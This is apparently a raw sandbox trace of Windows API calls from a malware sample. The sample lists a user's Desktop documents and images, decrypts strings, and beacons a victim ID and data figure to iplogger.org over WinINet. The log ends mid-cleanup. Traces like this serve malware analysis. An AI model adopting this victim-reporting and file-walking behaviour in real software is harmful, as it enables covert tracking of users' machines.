GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0119.601] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0119.664] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0119.664] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0119.726] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0119.726] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0119.824] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0119.824] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0119.882] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0119.882] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0119.965] RtlTryEnterCriticalSection (CriticalSection=0x5573d8) returned 1 [0119.965] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0119.965] SetWindowTextW (hWnd=0x170274, lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BfLJ-qJ.odp") returned 1 [0120.023] RtlTryEnterCriticalSection (CriticalSection=0x5573d8) returned 1 [0120.023] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0120.023] SetWindowTextW (hWnd=0x170274, lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C4P_ngTwnzZZoM\\BmFVMwZ-.ppt") returned 1 [0120.085] RtlTryEnterCriticalSection (CriticalSection=0x5573d8) returned 1 [0120.085] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0120.085] SetWindowTextW (hWnd=0x170274, lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\OUbB8Nw.bmp") returned 1 [0120.147] RtlTryEnterCriticalSection (CriticalSection=0x5573d8) returned 1 [0120.147] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0120.147] SetWindowTextW (hWnd=0x170274, lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KBDfGIul9lKj5bzlyj.jpg") returned 1 [0120.209] RtlTryEnterCriticalSection (CriticalSection=0x5573d8) returned 1 [0120.209] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0120.209] SetWindowTextW (hWnd=0x170274, lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Po53K6XUyzjsd4PBoD_.jpg") returned 1 [0120.272] RtlTryEnterCriticalSection (CriticalSection=0x5573d8) returned 1 [0120.272] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0120.272] SetWindowTextW (hWnd=0x170274, lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VEOSuKZMb2iFfRfNLI.jpg") returned 1 [0120.334] RtlTryEnterCriticalSection (CriticalSection=0x5573d8) returned 1 [0120.334] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0120.334] SetWindowTextW (hWnd=0x170274, lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W7RXP9kYuvmTV.gif") returned 1 [0120.373] CloseHandle (hObject=0x114) returned 1 [0120.373] KillTimer (hWnd=0x6011c, uIDEvent=0x1) returned 1 [0120.373] KillTimer (hWnd=0x6011c, uIDEvent=0x2) returned 1 [0120.373] CloseHandle (hObject=0x118) returned 1 [0120.373] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1001) returned 0x4011e [0120.373] EnableWindow (hWnd=0x4011e, bEnable=1) returned 1 [0120.375] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1003) returned 0x50114 [0120.375] EnableWindow (hWnd=0x50114, bEnable=1) returned 1 [0120.376] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1002) returned 0x50116 [0120.376] EnableWindow (hWnd=0x50116, bEnable=0) returned 0 [0120.378] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1008) returned 0x30160 [0120.378] EnableWindow (hWnd=0x30160, bEnable=1) returned 1 [0120.379] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1010) returned 0x202aa [0120.379] EnableWindow (hWnd=0x202aa, bEnable=1) returned 1 [0120.379] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1012) returned 0x3027c [0120.379] EnableWindow (hWnd=0x3027c, bEnable=1) returned 1 [0120.380] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1009) returned 0x3027a [0120.380] EnableWindow (hWnd=0x3027a, bEnable=1) returned 1 [0120.381] wsprintfW (in: param_1=0x18f3f0, param_2="1. ID: %08X\r\n2. %s\r\n" | out: param_1="1. ID: 4B2E4630\r\n2. admin\r\n") returned 27 [0120.381] wsprintfW (in: param_1=0x18eb90, param_2="%s (%08X)%c %I64d.%02I64d gb (%u)/%I64d.%02I64d gb (%u)/%u%%\r\n" | out: param_1="C: (9C354B42)L 0.00 gb (24)/0.00 gb (24)/100%\r\n") returned 47 [0120.381] wsprintfW (in: param_1=0x18f3f0, param_2="3. Total: %I64d.%02I64d gb (%u)/%I64d.%02I64d gb (%u)/%u%%\r\n" | out: param_1="3. Total: 0.00 gb (24)/0.00 gb (24)/100%\r\n") returned 42 [0120.381] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1005) returned 0x6015a [0120.381] SetWindowTextW (hWnd=0x6015a, lpString="1. ID: 4B2E4630\r\n2. admin\r\n--------------------\r\n3. Total: 0.00 gb (24)/0.00 gb (24)/100%\r\nC: (9C354B42)L 0.00 gb (24)/0.00 gb (24)/100%\r\n") returned 1 [0120.385] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0120.385] SetWindowTextA (hWnd=0x170274, lpString="finished") returned 1 [0120.385] GetProcessHeap () returned 0x520000 [0120.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c9b8 [0120.385] CryptImportKey (in: hProv=0x534c08, pbData=0x18f758, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x543770) returned 1 [0120.385] CryptDecrypt (in: hKey=0x543770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c9b8, pdwDataLen=0x18f7d4 | out: pbData=0x53c9b8, pdwDataLen=0x18f7d4) returned 1 [0120.385] CryptDestroyKey (hKey=0x543770) returned 1 [0120.386] wsprintfA (in: param_1=0x18f7f0, param_2="%08X;%I64d.%02I64d" | out: param_1="4B2E4630;0.00") returned 13 [0120.386] GetProcessHeap () returned 0x520000 [0120.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c990 [0120.386] CryptImportKey (in: hProv=0x534c08, pbData=0x18f758, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x543770) returned 1 [0120.386] CryptDecrypt (in: hKey=0x543770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c990, pdwDataLen=0x18f7d4 | out: pbData=0x53c990, pdwDataLen=0x18f7d4) returned 1 [0120.386] CryptDestroyKey (hKey=0x543770) returned 1 [0120.386] GetProcessHeap () returned 0x520000 [0120.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x53c968 [0120.386] CryptImportKey (in: hProv=0x534c08, pbData=0x18f758, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x543770) returned 1 [0120.386] CryptDecrypt (in: hKey=0x543770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53c968, pdwDataLen=0x18f7d4 | out: pbData=0x53c968, pdwDataLen=0x18f7d4) returned 1 [0120.386] CryptDestroyKey (hKey=0x543770) returned 1 [0120.386] GetProcessHeap () returned 0x520000 [0120.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x53b6e0 [0120.386] CryptImportKey (in: hProv=0x534c08, pbData=0x18f758, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x534bd4 | out: phKey=0x534bd4*=0x543770) returned 1 [0120.386] CryptDecrypt (in: hKey=0x543770, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x53b6e0, pdwDataLen=0x18f7d4 | out: pbData=0x53b6e0, pdwDataLen=0x18f7d4) returned 1 [0120.386] CryptDestroyKey (hKey=0x543770) returned 1 [0120.386] GetProcessHeap () returned 0x520000 [0120.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x53a338 [0120.386] GetProcessHeap () returned 0x520000 [0120.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x544120 [0120.386] GetProcessHeap () returned 0x520000 [0120.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11) returned 0x53a318 [0120.386] GetProcessHeap () returned 0x520000 [0120.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11) returned 0x53a2f8 [0120.386] GetProcessHeap () returned 0x520000 [0120.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x544108 [0120.387] GetProcessHeap () returned 0x520000 [0120.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14) returned 0x53a2d8 [0120.387] GetProcessHeap () returned 0x520000 [0120.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11) returned 0x53a2b8 [0120.387] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x758d0000 [0123.160] GetProcAddress (hModule=0x758d0000, lpProcName="HttpOpenRequestA") returned 0x758f4c7d [0123.160] GetProcAddress (hModule=0x758d0000, lpProcName="HttpSendRequestA") returned 0x759618f8 [0123.161] GetProcAddress (hModule=0x758d0000, lpProcName="InternetOpenA") returned 0x758ff18e [0123.161] GetProcAddress (hModule=0x758d0000, lpProcName="InternetCloseHandle") returned 0x758eab49 [0123.161] GetProcAddress (hModule=0x758d0000, lpProcName="InternetConnectA") returned 0x758f49e9 [0123.161] GetProcessHeap () returned 0x520000 [0123.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53b6e0 | out: hHeap=0x520000) returned 1 [0123.161] GetProcessHeap () returned 0x520000 [0123.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0123.161] GetProcessHeap () returned 0x520000 [0123.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a318 | out: hHeap=0x520000) returned 1 [0123.161] GetProcessHeap () returned 0x520000 [0123.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a2f8 | out: hHeap=0x520000) returned 1 [0123.161] GetProcessHeap () returned 0x520000 [0123.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544108 | out: hHeap=0x520000) returned 1 [0123.161] GetProcessHeap () returned 0x520000 [0123.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a2d8 | out: hHeap=0x520000) returned 1 [0123.161] GetProcessHeap () returned 0x520000 [0123.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a2b8 | out: hHeap=0x520000) returned 1 [0123.161] GetProcessHeap () returned 0x520000 [0123.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53a338 | out: hHeap=0x520000) returned 1 [0123.164] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0127.038] InternetConnectA (hInternet=0xcc0004, lpszServerName="iplogger.org", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0127.042] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/1kgWq7", lpszVersion=0x0, lpszReferrer="4B2E4630;0.00", lplpszAcceptTypes=0x0, dwFlags=0x80800000, dwContext=0x0) returned 0xcc000c [0128.679] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0137.048] GetLastError () returned 0x2 [0137.049] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0137.049] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0137.049] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0137.049] GetProcessHeap () returned 0x520000 [0137.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c990 | out: hHeap=0x520000) returned 1 [0137.049] GetProcessHeap () returned 0x520000 [0137.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c968 | out: hHeap=0x520000) returned 1 [0137.049] GetProcessHeap () returned 0x520000 [0137.049] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x53c9b8 | out: hHeap=0x520000) returned 1 [0137.084] CoUninitialize () [0137.084] EndDialog (hDlg=0x6011c, nResult=0x0) returned 1 [0137.115] GetProcessHeap () returned 0x520000 [0137.115] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x538468 | out: hHeap=0x520000) returned 1 [0137.115] GetProcessHeap () returned 0x520000 [0137.115] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5350d8 | out: hHeap=0x520000) returned 1 [0137.115] UnregisterHotKey (hWnd=0x6011c, id=0) returned 1 [0137.139] GetProcessHeap () returned 0x520000 [0137.139] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536f70 | out: hHeap=0x520000) returned 1 [0137.139] GetProcessHeap () returned 0x520000 [0137.139] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536fd8 | out: hHeap=0x520000) returned 1 [0137.139] GetProcessHeap () returned 0x520000 [0137.139] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537ea0 | out: hHeap=0x520000) returned 1 [0137.139] GetProcessHeap () returned 0x520000 [0137.139] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537040 | out: hHeap=0x520000) returned 1 [0137.140] GetProcessHeap () returned 0x520000 [0137.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5573d8 | out: hHeap=0x520000) returned 1 [0137.140] GetProcessHeap () returned 0x520000 [0137.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544f28 | out: hHeap=0x520000) returned 1 [0137.140] GetProcessHeap () returned 0x520000 [0137.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544fb0 | out: hHeap=0x520000) returned 1 [0137.140] GetProcessHeap () returned 0x520000 [0137.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x535438 | out: hHeap=0x520000) returned 1 [0137.140] GetProcessHeap () returned 0x520000 [0137.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537bc8 | out: hHeap=0x520000) returned 1 [0137.140] GetProcessHeap () returned 0x520000 [0137.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x533fc8 | out: hHeap=0x520000) returned 1 [0137.140] GetProcessHeap () returned 0x520000 [0137.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x533ff0 | out: hHeap=0x520000) returned 1 [0137.140] GetProcessHeap () returned 0x520000 [0137.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534f28 | out: hHeap=0x520000) returned 1 [0137.140] GetProcessHeap () returned 0x520000 [0137.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536168 | out: hHeap=0x520000) returned 1 [0137.141] GetProcessHeap () returned 0x520000 [0137.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537e28 | out: hHeap=0x520000) returned 1 [0137.141] GetProcessHeap () returned 0x520000 [0137.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537e78 | out: hHeap=0x520000) returned 1 [0137.141] GetProcessHeap () returned 0x520000 [0137.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537e50 | out: hHeap=0x520000) returned 1 [0137.141] GetProcessHeap () returned 0x520000 [0137.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536eb0 | out: hHeap=0x520000) returned 1 [0137.141] GetProcessHeap () returned 0x520000 [0137.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536c30 | out: hHeap=0x520000) returned 1 [0137.141] GetProcessHeap () returned 0x520000 [0137.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534040 | out: hHeap=0x520000) returned 1 [0137.141] GetProcessHeap () returned 0x520000 [0137.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536c40 | out: hHeap=0x520000) returned 1 [0137.141] GetProcessHeap () returned 0x520000 [0137.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536198 | out: hHeap=0x520000) returned 1 [0137.141] GetProcessHeap () returned 0x520000 [0137.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536ed0 | out: hHeap=0x520000) returned 1 [0137.141] GetProcessHeap () returned 0x520000 [0137.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534018 | out: hHeap=0x520000) returned 1 [0137.141] GetProcessHeap () returned 0x520000 [0137.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536ee0 | out: hHeap=0x520000) returned 1 [0137.142] GetProcessHeap () returned 0x520000 [0137.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536180 | out: hHeap=0x520000) returned 1 [0137.142] GetProcessHeap () returned 0x520000 [0137.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536ef0 | out: hHeap=0x520000) returned 1 [0137.142] GetProcessHeap () returned 0x520000 [0137.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536f10 | out: hHeap=0x520000) returned 1 [0137.142] GetProcessHeap () returned 0x520000 [0137.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536f00 | out: hHeap=0x520000) returned 1 [0137.142] GetProcessHeap () returned 0x520000 [0137.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536f50 | out: hHeap=0x520000) returned 1 [0137.142] GetProcessHeap () returned 0x520000 [0137.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536f40 | out: hHeap=0x520000) returned 1 [0137.142] GetProcessHeap () returned 0x520000 [0137.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536c20 | out: hHeap=0x520000) returned 1 [0137.142] GetProcessHeap () returned 0x520000 [0137.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5361b0 | out: hHeap=0x520000) returned 1 [0137.142] GetProcessHeap () returned 0x520000 [0137.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537228 | out: hHeap=0x520000) returned 1 [0137.142] GetProcessHeap () returned 0x520000 [0137.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536e08 | out: hHeap=0x520000) returned 1 [0137.142] GetProcessHeap () returned 0x520000 [0137.142] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x534090 | out: hHeap=0x520000) returned 1 [0137.143] GetProcessHeap () returned 0x520000 [0137.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537248 | out: hHeap=0x520000) returned 1 [0137.143] GetProcessHeap () returned 0x520000 [0137.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537238 | out: hHeap=0x520000) returned 1 [0137.143] GetProcessHeap () returned 0x520000 [0137.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537278 | out: hHeap=0x520000) returned 1 [0137.143] GetProcessHeap () returned 0x520000 [0137.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537268 | out: hHeap=0x520000) returned 1 [0137.143] GetProcessHeap () returned 0x520000 [0137.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537298 | out: hHeap=0x520000) returned 1 [0137.143] GetProcessHeap () returned 0x520000 [0137.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537288 | out: hHeap=0x520000) returned 1 [0137.143] GetProcessHeap () returned 0x520000 [0137.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5372b8 | out: hHeap=0x520000) returned 1 [0137.143] GetProcessHeap () returned 0x520000 [0137.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5372a8 | out: hHeap=0x520000) returned 1 [0137.143] GetProcessHeap () returned 0x520000 [0137.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5372d8 | out: hHeap=0x520000) returned 1 [0137.143] GetProcessHeap () returned 0x520000 [0137.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5372c8 | out: hHeap=0x520000) returned 1 [0137.143] GetProcessHeap () returned 0x520000 [0137.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5361c8 | out: hHeap=0x520000) returned 1 [0137.143] GetProcessHeap () returned 0x520000 [0137.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5372e8 | out: hHeap=0x520000) returned 1 [0137.143] GetProcessHeap () returned 0x520000 [0137.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5361e0 | out: hHeap=0x520000) returned 1 [0137.144] GetProcessHeap () returned 0x520000 [0137.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5372f8 | out: hHeap=0x520000) returned 1 [0137.144] GetProcessHeap () returned 0x520000 [0137.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5361f8 | out: hHeap=0x520000) returned 1 [0137.144] GetProcessHeap () returned 0x520000 [0137.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537308 | out: hHeap=0x520000) returned 1 [0137.144] GetProcessHeap () returned 0x520000 [0137.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537328 | out: hHeap=0x520000) returned 1 [0137.144] GetProcessHeap () returned 0x520000 [0137.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537318 | out: hHeap=0x520000) returned 1 [0137.144] GetProcessHeap () returned 0x520000 [0137.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537348 | out: hHeap=0x520000) returned 1 [0137.144] GetProcessHeap () returned 0x520000 [0137.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537338 | out: hHeap=0x520000) returned 1 [0137.144] GetProcessHeap () returned 0x520000 [0137.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537368 | out: hHeap=0x520000) returned 1 [0137.144] GetProcessHeap () returned 0x520000 [0137.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537358 | out: hHeap=0x520000) returned 1 [0137.144] GetProcessHeap () returned 0x520000 [0137.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537388 | out: hHeap=0x520000) returned 1 [0137.144] GetProcessHeap () returned 0x520000 [0137.144] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537378 | out: hHeap=0x520000) returned 1 [0137.145] GetProcessHeap () returned 0x520000 [0137.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536e18 | out: hHeap=0x520000) returned 1 [0137.145] GetProcessHeap () returned 0x520000 [0137.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537398 | out: hHeap=0x520000) returned 1 [0137.145] GetProcessHeap () returned 0x520000 [0137.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536210 | out: hHeap=0x520000) returned 1 [0137.145] GetProcessHeap () returned 0x520000 [0137.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5373a8 | out: hHeap=0x520000) returned 1 [0137.145] GetProcessHeap () returned 0x520000 [0137.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536228 | out: hHeap=0x520000) returned 1 [0137.145] GetProcessHeap () returned 0x520000 [0137.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5373b8 | out: hHeap=0x520000) returned 1 [0137.145] GetProcessHeap () returned 0x520000 [0137.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5373d8 | out: hHeap=0x520000) returned 1 [0137.145] GetProcessHeap () returned 0x520000 [0137.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5373c8 | out: hHeap=0x520000) returned 1 [0137.145] GetProcessHeap () returned 0x520000 [0137.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5373f8 | out: hHeap=0x520000) returned 1 [0137.145] GetProcessHeap () returned 0x520000 [0137.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5373e8 | out: hHeap=0x520000) returned 1 [0137.145] GetProcessHeap () returned 0x520000 [0137.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537418 | out: hHeap=0x520000) returned 1 [0137.145] GetProcessHeap () returned 0x520000 [0137.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537408 | out: hHeap=0x520000) returned 1 [0137.146] GetProcessHeap () returned 0x520000 [0137.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537438 | out: hHeap=0x520000) returned 1 [0137.146] GetProcessHeap () returned 0x520000 [0137.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537428 | out: hHeap=0x520000) returned 1 [0137.146] GetProcessHeap () returned 0x520000 [0137.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537458 | out: hHeap=0x520000) returned 1 [0137.146] GetProcessHeap () returned 0x520000 [0137.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537448 | out: hHeap=0x520000) returned 1 [0137.146] GetProcessHeap () returned 0x520000 [0137.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537478 | out: hHeap=0x520000) returned 1 [0137.146] GetProcessHeap () returned 0x520000 [0137.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537468 | out: hHeap=0x520000) returned 1 [0137.146] GetProcessHeap () returned 0x520000 [0137.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537498 | out: hHeap=0x520000) returned 1 [0137.146] GetProcessHeap () returned 0x520000 [0137.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537488 | out: hHeap=0x520000) returned 1 [0137.146] GetProcessHeap () returned 0x520000 [0137.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5374b8 | out: hHeap=0x520000) returned 1 [0137.146] GetProcessHeap () returned 0x520000 [0137.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5374a8 | out: hHeap=0x520000) returned 1 [0137.146] GetProcessHeap () returned 0x520000 [0137.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5374d8 | out: hHeap=0x520000) returned 1 [0137.146] GetProcessHeap () returned 0x520000 [0137.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5374c8 | out: hHeap=0x520000) returned 1 [0137.146] GetProcessHeap () returned 0x520000 [0137.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536240 | out: hHeap=0x520000) returned 1 [0137.147] GetProcessHeap () returned 0x520000 [0137.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5374e8 | out: hHeap=0x520000) returned 1 [0137.147] GetProcessHeap () returned 0x520000 [0137.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537508 | out: hHeap=0x520000) returned 1 [0137.147] GetProcessHeap () returned 0x520000 [0137.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5374f8 | out: hHeap=0x520000) returned 1 [0137.147] GetProcessHeap () returned 0x520000 [0137.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537528 | out: hHeap=0x520000) returned 1 [0137.147] GetProcessHeap () returned 0x520000 [0137.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537518 | out: hHeap=0x520000) returned 1 [0137.147] GetProcessHeap () returned 0x520000 [0137.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537548 | out: hHeap=0x520000) returned 1 [0137.147] GetProcessHeap () returned 0x520000 [0137.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537538 | out: hHeap=0x520000) returned 1 [0137.147] GetProcessHeap () returned 0x520000 [0137.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x536258 | out: hHeap=0x520000) returned 1 [0137.147] GetProcessHeap () returned 0x520000 [0137.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537558 | out: hHeap=0x520000) returned 1 [0137.147] GetProcessHeap () returned 0x520000 [0137.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537578 | out: hHeap=0x520000) returned 1 [0137.147] GetProcessHeap () returned 0x520000 [0137.147] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537568 | out: hHeap=0x520000) returned 1 [0137.147] 